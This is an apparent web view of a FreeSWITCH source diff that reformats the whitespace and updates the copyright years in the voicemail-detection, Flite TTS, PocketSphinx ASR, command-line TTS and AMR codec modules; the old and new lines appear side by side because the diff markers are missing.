switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection enabled\n");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection enabled\n");
SWITCH_ADD_APP(app_interface, "vmd", "Detect beeps", "Detect voicemail beeps", vmd_start_function, "[start] [stop]", SAF_NONE);
SWITCH_ADD_APP(app_interface, "vmd", "Detect beeps", "Detect voicemail beeps", vmd_start_function, "[start] [stop]", SAF_NONE);
SWITCH_ADD_API(api_interface, "vmd", "Detected voicemail beeps", vmd_api_main, VMD_SYNTAX);
SWITCH_ADD_API(api_interface, "vmd", "Detected voicemail beeps", vmd_api_main, VMD_SYNTAX);
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
/*! \brief FreeSWITCH application handler function.
@@ -538,59 +536,59 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_vmd_load)
*/
SWITCH_STANDARD_APP(vmd_start_function)
{
switch_media_bug_t *bug;
switch_status_t status;
switch_channel_t *channel;
vmd_session_info_t *vmd_info;
int i;
switch_media_bug_t *bug;
switch_status_t status;
switch_channel_t *channel;
vmd_session_info_t *vmd_info;
int i;
const char *minTimeString;
int mintime = 0;
if (session == NULL)
return;
if (session == NULL)
return;
channel = switch_core_session_get_channel(session);
channel = switch_core_session_get_channel(session);
/* Is this channel already set? */
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
/* If yes */
if (bug != NULL) {
/* If we have a stop remove audio bug */
if (strcasecmp(data, "stop") == 0) {
switch_channel_set_private(channel, "_vmd_", NULL);
switch_core_media_bug_remove(session, &bug);
return;
}
/* Is this channel already set? */
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
/* If yes */
if (bug != NULL) {
/* If we have a stop remove audio bug */
if (strcasecmp(data, "stop") == 0) {
switch_channel_set_private(channel, "_vmd_", NULL);
switch_core_media_bug_remove(session, &bug);
return;
}
/* We have already started */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
/* We have already started */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
return;
}
return;
}
vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
);
vmd_info = (vmd_session_info_t *) switch_core_session_alloc(session, sizeof(vmd_session_info_t)
);
vmd_info->state = BEEP_NOT_DETECTED;
vmd_info->session = session;
vmd_info->pos = 0;
/*
vmd_info->data = NULL;
vmd_info->data_len = 0;
*/
for (i = 0; i < POINTS; i++) {
vmd_info->points[i].freq = 0.0;
vmd_info->points[i].ampl = 0.0;
}
vmd_info->state = BEEP_NOT_DETECTED;
vmd_info->session = session;
vmd_info->pos = 0;
/*
vmd_info->data = NULL;
vmd_info->data_len = 0;
*/
for (i = 0; i < POINTS; i++) {
vmd_info->points[i].freq = 0.0;
vmd_info->points[i].ampl = 0.0;
}
status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
status = switch_core_media_bug_add(session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
if (status != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
return;
}
if (status != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
return;
}
switch_channel_set_private(channel, "_vmd_", bug);
switch_channel_set_private(channel, "_vmd_", bug);
if ((minTimeString = switch_channel_get_variable(channel, "vmd_min_time")) && (mintime = atoi(minTimeString))) {
vmd_info->minTime = mintime;
@@ -598,7 +596,7 @@ SWITCH_STANDARD_APP(vmd_start_function)
vmd_info->minTime = MIN_TIME;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "MIN_TIME for call: %d\n",vmd_info->minTime);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "MIN_TIME for call: %d\n", vmd_info->minTime);
}
/*! \brief Called when the module shuts down
@@ -608,9 +606,9 @@ SWITCH_STANDARD_APP(vmd_start_function)
*/
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_vmd_shutdown)
{
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection disabled\n");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Voicemail detection disabled\n");
return SWITCH_STATUS_SUCCESS;
return SWITCH_STATUS_SUCCESS;
}
/*! \brief FreeSWITCH API handler function.
@@ -622,121 +620,121 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_vmd_shutdown)
*/
SWITCH_STANDARD_API(vmd_api_main)
{
switch_core_session_t *vmd_session = NULL;
switch_media_bug_t *bug;
vmd_session_info_t *vmd_info;
switch_channel_t *channel;
switch_status_t status;
int argc;
char *argv[VMD_PARAMS];
char *ccmd = NULL;
char *uuid;
char *command;
int i;
switch_core_session_t *vmd_session = NULL;
switch_media_bug_t *bug;
vmd_session_info_t *vmd_info;
switch_channel_t *channel;
switch_status_t status;
int argc;
char *argv[VMD_PARAMS];
char *ccmd = NULL;
char *uuid;
char *command;
int i;
/* No command? Display usage */
if (zstr(cmd)) {
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
return SWITCH_STATUS_SUCCESS;
}
/* No command? Display usage */
if (zstr(cmd)) {
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
return SWITCH_STATUS_SUCCESS;
}
/* Duplicated contents of original string */
ccmd = strdup(cmd);
/* Separate the arguments */
argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
/* Duplicated contents of original string */
ccmd = strdup(cmd);
/* Separate the arguments */
argc = switch_separate_string(ccmd, ' ', argv, VMD_PARAMS);
/* If we don't have the expected number of parameters
* display usage */
if (argc != VMD_PARAMS) {
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
/* If we don't have the expected number of parameters
* display usage */
if (argc != VMD_PARAMS) {
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
goto end;
}
}
uuid = argv[0];
command = argv[1];
uuid = argv[0];
command = argv[1];
/* using uuid locate a reference to the FreeSWITCH session */
vmd_session = switch_core_session_locate(uuid);
/* using uuid locate a reference to the FreeSWITCH session */
vmd_session = switch_core_session_locate(uuid);
/* If the session was not found exit */
if (vmd_session == NULL) {
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
/* If the session was not found exit */
if (vmd_session == NULL) {
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
goto end;
}
}
/* Get current channel of the session to tag the session
* This indicates that our module is present */
channel = switch_core_session_get_channel(vmd_session);
/* Get current channel of the session to tag the session
* This indicates that our module is present */
channel = switch_core_session_get_channel(vmd_session);
/* Is this channel already set? */
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
/* If yes */
if (bug != NULL) {
/* If we have a stop remove audio bug */
if (strcasecmp(command, "stop") == 0) {
switch_channel_set_private(channel, "_vmd_", NULL);
switch_core_media_bug_remove(vmd_session, &bug);
switch_safe_free(ccmd);
stream->write_function(stream, "+OK\n");
/* Is this channel already set? */
bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_vmd_");
/* If yes */
if (bug != NULL) {
/* If we have a stop remove audio bug */
if (strcasecmp(command, "stop") == 0) {
switch_channel_set_private(channel, "_vmd_", NULL);
switch_core_media_bug_remove(vmd_session, &bug);
switch_safe_free(ccmd);
stream->write_function(stream, "+OK\n");
goto end;
}
}
/* We have already started */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
/* We have already started */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
goto end;
}
}
/* If we don't see the expected start exit */
if (strcasecmp(command, "start") != 0) {
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
/* If we don't see the expected start exit */
if (strcasecmp(command, "start") != 0) {
stream->write_function(stream, "-USAGE: %s\n", VMD_SYNTAX);
goto end;
}
}
/* Allocate memory attached to this FreeSWITCH session for
* use in the callback routine and to store state information */
vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
);
/* Allocate memory attached to this FreeSWITCH session for
* use in the callback routine and to store state information */
vmd_info = (vmd_session_info_t *) switch_core_session_alloc(vmd_session, sizeof(vmd_session_info_t)
);
/* Set initial values and states */
vmd_info->state = BEEP_NOT_DETECTED;
vmd_info->session = vmd_session;
vmd_info->pos = 0;
/* Set initial values and states */
vmd_info->state = BEEP_NOT_DETECTED;
vmd_info->session = vmd_session;
vmd_info->pos = 0;
/*
vmd_info->data = NULL;
vmd_info->data_len = 0;
*/
for (i = 0; i < POINTS; i++) {
vmd_info->points[i].freq = 0.0;
vmd_info->points[i].ampl = 0.0;
}
for (i = 0; i < POINTS; i++) {
vmd_info->points[i].freq = 0.0;
vmd_info->points[i].ampl = 0.0;
}
/* Add a media bug that allows me to intercept the
* reading leg of the audio stream */
status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
/* Add a media bug that allows me to intercept the
* reading leg of the audio stream */
status = switch_core_media_bug_add(vmd_session, vmd_callback, vmd_info, 0, SMBF_READ_REPLACE, &bug);
/* If adding a media bug fails exit */
if (status != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
goto end;
}
/* If adding a media bug fails exit */
if (status != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
goto end;
}
/* Set the vmd tag to detect an existing vmd media bug */
switch_channel_set_private(channel, "_vmd_", bug);
/* Set the vmd tag to detect an existing vmd media bug */
switch_channel_set_private(channel, "_vmd_", bug);
/* Everything went according to plan! Notify the user */
stream->write_function(stream, "+OK\n");
/* Everything went according to plan! Notify the user */
stream->write_function(stream, "+OK\n");
end:
end:
if (vmd_session) {
switch_core_session_rwunlock(vmd_session);
}
switch_safe_free(ccmd);
switch_safe_free(ccmd);
return SWITCH_STATUS_SUCCESS;
return SWITCH_STATUS_SUCCESS;
}
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
+12 -12
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -71,7 +71,7 @@ static switch_status_t flite_speech_open(switch_speech_handle_t *sh, const char
flite_t *flite = switch_core_alloc(sh->memory_pool, sizeof(*flite));
sh->native_rate = 16000;
if (!strcasecmp(voice_name, "awb")) {
flite->v = globals.awb;
} else if (!strcasecmp(voice_name, "kal")) {
@@ -108,9 +108,9 @@ static switch_status_t flite_speech_close(switch_speech_handle_t *sh, switch_spe
static switch_status_t flite_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
{
flite_t *flite = (flite_t *) sh->private_info;
flite->w = flite_text_to_wave(text, flite->v);
return SWITCH_STATUS_SUCCESS;
}
@@ -128,10 +128,10 @@ static switch_status_t flite_speech_read_tts(switch_speech_handle_t *sh, void *d
{
size_t bytes_read;
flite_t *flite = (flite_t *) sh->private_info;
if (!flite->audio_buffer) {
int32_t len;
if (flite->w) {
len = flite->w->num_samples * 2;
} else {
@@ -146,28 +146,28 @@ static switch_status_t flite_speech_read_tts(switch_speech_handle_t *sh, void *d
switch_buffer_write(flite->audio_buffer, flite->w->samples, flite->w->num_samples * 2);
free_wave(flite->w);
}
if ((bytes_read = switch_buffer_read(flite->audio_buffer, data, *datalen))) {
*datalen = bytes_read;
return SWITCH_STATUS_SUCCESS;
}
return SWITCH_STATUS_FALSE;
}
static void flite_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
{
}
static void flite_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
{
}
static void flite_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
{
}
SWITCH_MODULE_LOAD_FUNCTION(mod_flite_load)
@@ -179,7 +179,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_flite_load)
globals.kal = register_cmu_us_kal();
globals.rms = register_cmu_us_rms();
globals.slt = register_cmu_us_slt();
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
speech_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_SPEECH_INTERFACE);
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -87,23 +87,23 @@ static switch_status_t pocketsphinx_asr_open(switch_asr_handle_t *ah, const char
if (!(ps = (pocketsphinx_t *) switch_core_alloc(ah->memory_pool, sizeof(*ps)))) {
return SWITCH_STATUS_MEMERR;
}
switch_mutex_init(&ps->flag_mutex, SWITCH_MUTEX_NESTED, ah->memory_pool);
ah->private_info = ps;
if (rate == 8000) {
if (rate == 8000) {
ah->rate = 8000;
} else if (rate == 16000) {
ah->rate = 16000;
} else {
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid rate %d. Only 8000 and 16000 are supported.\n", rate);
}
codec = "L16";
ah->codec = switch_core_strdup(ah->memory_pool, codec);
ah->codec = switch_core_strdup(ah->memory_pool, codec);
ps->thresh = globals.thresh;
ps->silence_hits = globals.silence_hits;
ps->listen_hits = globals.listen_hits;
@@ -139,34 +139,28 @@ static switch_status_t pocketsphinx_asr_load_grammar(switch_asr_handle_t *ah, co
dic = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, globals.dictionary);
if (switch_file_exists(dic, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic);
goto end;
}
if (switch_file_exists(model, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model);
goto end;
}
if (switch_file_exists(jsgf, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf);
goto end;
}
rate = switch_mprintf("%d", ah->rate);
rate = switch_mprintf("%d", ah->rate);
switch_assert(jsgf && dic && model);
ps->config = cmd_ln_init(ps->config, ps_args(), FALSE,
"-samprate", rate,
"-hmm", model,
"-jsgf", jsgf,
"-lw", globals.language_weight,
"-dict", dic,
"-frate", "50",
"-silprob", "0.005",
NULL);
"-hmm", model, "-jsgf", jsgf, "-lw", globals.language_weight, "-dict", dic, "-frate", "50", "-silprob", "0.005", NULL);
if (ps->config == NULL) {
status = SWITCH_STATUS_GENERR;
goto end;
@@ -185,19 +179,19 @@ static switch_status_t pocketsphinx_asr_load_grammar(switch_asr_handle_t *ah, co
switch_mutex_unlock(ps->flag_mutex);
ps_start_utt(ps->ps, NULL);
switch_set_flag(ps, PSFLAG_READY);
switch_set_flag(ps, PSFLAG_READY);
switch_safe_free(ps->grammar);
ps->grammar = strdup(grammar);
status = SWITCH_STATUS_SUCCESS;
end:
end:
switch_safe_free(rate);
switch_safe_free(jsgf);
switch_safe_free(dic);
switch_safe_free(model);
return status;
}
@@ -224,7 +218,7 @@ static switch_status_t pocketsphinx_asr_close(switch_asr_handle_t *ah, switch_as
switch_mutex_unlock(ps->flag_mutex);
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
switch_clear_flag(ps, PSFLAG_READY);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n");
switch_set_flag(ah, SWITCH_ASR_FLAG_CLOSED);
return SWITCH_STATUS_SUCCESS;
}
@@ -233,7 +227,7 @@ static switch_bool_t stop_detect(pocketsphinx_t *ps, int16_t *data, unsigned int
{
uint32_t score, count = 0, j = 0;
double energy = 0;
if (ps->countdown) {
if (!--ps->countdown) {
ps->silence_hits = ps->org_silence_hits;
@@ -242,12 +236,12 @@ static switch_bool_t stop_detect(pocketsphinx_t *ps, int16_t *data, unsigned int
}
return SWITCH_FALSE;
}
for (count = 0; count < samples; count++) {
energy += abs(data[j]);
}
score = (uint32_t) (energy / samples);
if (score >= ps->thresh) {
@@ -274,20 +268,21 @@ static switch_status_t pocketsphinx_asr_feed(switch_asr_handle_t *ah, void *data
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
int rv = 0;
if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED)) return SWITCH_STATUS_BREAK;
if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED))
return SWITCH_STATUS_BREAK;
if (!switch_test_flag(ps, PSFLAG_HAS_TEXT) && switch_test_flag(ps, PSFLAG_READY)) {
if (stop_detect(ps, (int16_t *)data, len / 2)) {
if (stop_detect(ps, (int16_t *) data, len / 2)) {
char const *hyp;
switch_mutex_lock(ps->flag_mutex);
switch_mutex_lock(ps->flag_mutex);
if ((hyp = ps_get_hyp(ps->ps, &ps->score, &ps->uttid))) {
if (!zstr(hyp)) {
ps_end_utt(ps->ps);
switch_clear_flag(ps, PSFLAG_READY);
if ((hyp = ps_get_hyp(ps->ps, &ps->score, &ps->uttid))) {
if (zstr(hyp)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Lost the text, never mind....\n");
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Lost the text, never mind....\n");
ps_start_utt(ps->ps, NULL);
switch_set_flag(ps, PSFLAG_READY);
} else {
@@ -303,7 +298,7 @@ static switch_status_t pocketsphinx_asr_feed(switch_asr_handle_t *ah, void *data
/* only feed ps_process_raw when we are listening */
if (ps->listening) {
switch_mutex_lock(ps->flag_mutex);
rv = ps_process_raw(ps->ps, (int16 *)data, len / 2 , FALSE, FALSE);
rv = ps_process_raw(ps->ps, (int16 *) data, len / 2, FALSE, FALSE);
switch_mutex_unlock(ps->flag_mutex);
}
@@ -321,13 +316,13 @@ static switch_status_t pocketsphinx_asr_pause(switch_asr_handle_t *ah)
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
switch_status_t status = SWITCH_STATUS_FALSE;
switch_mutex_lock(ps->flag_mutex);
switch_mutex_lock(ps->flag_mutex);
if (switch_test_flag(ps, PSFLAG_READY)) {
ps_end_utt(ps->ps);
switch_clear_flag(ps, PSFLAG_READY);
status = SWITCH_STATUS_SUCCESS;
}
switch_mutex_unlock(ps->flag_mutex);
switch_mutex_unlock(ps->flag_mutex);
return status;
}
@@ -337,19 +332,19 @@ static switch_status_t pocketsphinx_asr_resume(switch_asr_handle_t *ah)
{
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
switch_status_t status = SWITCH_STATUS_FALSE;
switch_mutex_lock(ps->flag_mutex);
switch_mutex_lock(ps->flag_mutex);
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
if (!switch_test_flag(ps, PSFLAG_READY)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Manually Resuming\n");
if (!switch_test_flag(ps, PSFLAG_READY)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Manually Resuming\n");
if (ps_start_utt(ps->ps, NULL)) {
status = SWITCH_STATUS_GENERR;
} else {
switch_set_flag(ps, PSFLAG_READY);
switch_set_flag(ps, PSFLAG_READY);
}
}
switch_mutex_unlock(ps->flag_mutex);
switch_mutex_unlock(ps->flag_mutex);
return status;
}
@@ -365,7 +360,7 @@ static switch_status_t pocketsphinx_asr_check_results(switch_asr_handle_t *ah, s
/*! function to read results from the ASR*/
static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
{
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
switch_status_t status = SWITCH_STATUS_SUCCESS;
int32_t conf;
@@ -375,7 +370,7 @@ static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, cha
}
if (switch_test_flag(ps, PSFLAG_HAS_TEXT)) {
switch_mutex_lock(ps->flag_mutex);
switch_mutex_lock(ps->flag_mutex);
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
conf = ps_get_prob(ps->ps, &ps->uttid);
@@ -386,20 +381,18 @@ static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, cha
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Recognized: %s, Confidence: %d\n", ps->hyp, ps->confidence);
switch_mutex_unlock(ps->flag_mutex);
switch_mutex_unlock(ps->flag_mutex);
*xmlstr = switch_mprintf("<?xml version=\"1.0\"?>\n"
"<result grammar=\"%s\">\n"
" <interpretation grammar=\"%s\" confidence=\"%d\">\n"
" <input mode=\"speech\">%s</input>\n"
" </interpretation>\n"
"</result>\n",
ps->grammar, ps->grammar, ps->confidence, ps->hyp);
" </interpretation>\n" "</result>\n", ps->grammar, ps->grammar, ps->confidence, ps->hyp);
if (switch_test_flag(ps, SWITCH_ASR_FLAG_AUTO_RESUME)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Auto Resuming\n");
switch_set_flag(ps, PSFLAG_READY);
ps_start_utt(ps->ps, NULL);
}
@@ -467,7 +460,7 @@ static switch_status_t load_config(void)
globals.language_weight = switch_core_strdup(globals.pool, "6.5");
}
done:
done:
if (xml) {
switch_xml_free(xml);
}
@@ -495,7 +488,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_pocketsphinx_load)
switch_asr_interface_t *asr_interface;
switch_mutex_init(&MUTEX, SWITCH_MUTEX_NESTED, pool);
globals.pool = pool;
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
@@ -76,7 +76,7 @@ static int load_tts_commandline_config(void)
}
if (zstr(globals.command)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No command set, please edit %s\n", cf);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No command set, please edit %s\n", cf);
}
return SWITCH_STATUS_SUCCESS;
@@ -96,7 +96,7 @@ static switch_status_t tts_commandline_speech_open(switch_speech_handle_t *sh, c
switch_uuid_t uuid;
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
char outfile[512] = "";
tts_commandline_t *info = switch_core_alloc(sh->memory_pool, sizeof(*info));
info->voice_name = switch_core_strdup(sh->memory_pool, voice_name);
@@ -107,11 +107,11 @@ static switch_status_t tts_commandline_speech_open(switch_speech_handle_t *sh, c
switch_uuid_format(uuid_str, &uuid);
switch_snprintf(outfile, sizeof(outfile), "%s%s.tmp.wav", SWITCH_GLOBAL_dirs.temp_dir, uuid_str);
info->file = switch_core_strdup(sh->memory_pool, outfile);
info->fh = (switch_file_handle_t *) switch_core_alloc(sh->memory_pool, sizeof(switch_file_handle_t));
sh->private_info = info;
return SWITCH_STATUS_SUCCESS;
}
@@ -119,7 +119,7 @@ static switch_status_t tts_commandline_speech_close(switch_speech_handle_t *sh,
{
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
assert(info != NULL);
return SWITCH_STATUS_SUCCESS;
}
@@ -129,37 +129,35 @@ static switch_status_t tts_commandline_speech_feed_tts(switch_speech_handle_t *s
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
assert(info != NULL);
message = switch_core_strdup(sh->memory_pool, globals.command);
tmp = switch_util_quote_shell_arg(text);
message = switch_string_replace(message, "${text}", tmp);
tmp = switch_util_quote_shell_arg(info->voice_name);
message = switch_string_replace(message, "${voice}", tmp);
rate = switch_core_sprintf(sh->memory_pool, "%d", info->rate);
message = switch_string_replace(message, "${rate}", rate);
tmp = switch_util_quote_shell_arg(info->file);
message = switch_string_replace(message, "${file}", tmp);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Executing: %s\n", message);
if (switch_system(message, SWITCH_TRUE) < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to execute command: %s\n", message);
return SWITCH_STATUS_FALSE;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to execute command: %s\n", message);
return SWITCH_STATUS_FALSE;
}
if (switch_core_file_open(info->fh,
info->file,
0, //number_of_channels,
0, //samples_per_second,
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file: %s\n", info->file);
return SWITCH_STATUS_FALSE;
if (switch_core_file_open(info->fh, info->file, 0, //number_of_channels,
0, //samples_per_second,
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file: %s\n", info->file);
return SWITCH_STATUS_FALSE;
}
sh->private_info = info;
return SWITCH_STATUS_SUCCESS;
@@ -170,8 +168,8 @@ static switch_status_t tts_commandline_speech_read_tts(switch_speech_handle_t *s
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
size_t my_datalen = *datalen / 2;
assert(info != NULL);
assert(info != NULL);
if (switch_core_file_read(info->fh, data, &my_datalen) != SWITCH_STATUS_SUCCESS) {
*datalen = my_datalen * 2;
return SWITCH_STATUS_FALSE;
@@ -188,7 +186,7 @@ static void tts_commandline_speech_flush_tts(switch_speech_handle_t *sh)
{
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
assert(info != NULL);
switch_core_file_close(info->fh);
if (unlink(info->file) != 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Sound file [%s] delete failed\n", info->file);
File diff suppressed because it is too large. Load diff
+22 -21
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -250,7 +250,8 @@ static switch_status_t switch_amr_encode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
unsigned int *flag)
{
#ifdef AMR_PASSTHROUGH
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
@@ -272,7 +273,8 @@ static switch_status_t switch_amr_decode(switch_codec_t *codec,
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
unsigned int *flag)
{
#ifdef AMR_PASSTHROUGH
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
@@ -319,24 +321,23 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_amr_load)
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "AMR");
switch_core_codec_add_implementation(pool, codec_interface,
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
96, /* the IANA code number */
"AMR", /* the IANA code name */
"octet-align=0", /* default fmtp to send (can be overridden by the init function) */
8000, /* samples transferred per second */
8000, /* actual samples transferred per second */
12200, /* bits transferred per second */
20000, /* number of microseconds per frame */
160, /* number of samples per frame */
320, /* number of bytes per frame decompressed */
0, /* number of bytes per frame compressed */
1, /* number of channels represented */
1, /* number of frames per network packet */
